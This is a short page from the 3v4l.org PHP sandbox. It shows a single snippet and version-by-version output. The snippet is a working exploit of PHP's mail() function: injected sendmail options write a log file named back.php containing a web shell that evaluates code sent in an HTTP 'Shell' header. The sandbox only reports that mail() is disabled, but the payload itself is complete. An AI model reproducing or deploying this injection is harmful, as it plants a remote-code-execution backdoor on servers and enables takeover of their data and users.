3v4l.org

run code in 150+ php & hhvm versions
Bugs & Features
<?php mail('','','','','-f "<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>" -OQueueDirectory=/tmp -X /in/back.php');
Output for 4.3.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: mail() has been disabled for security reasons in /in/MnZBk on line 2
Output for hhvm-3.10.0 - 3.12.0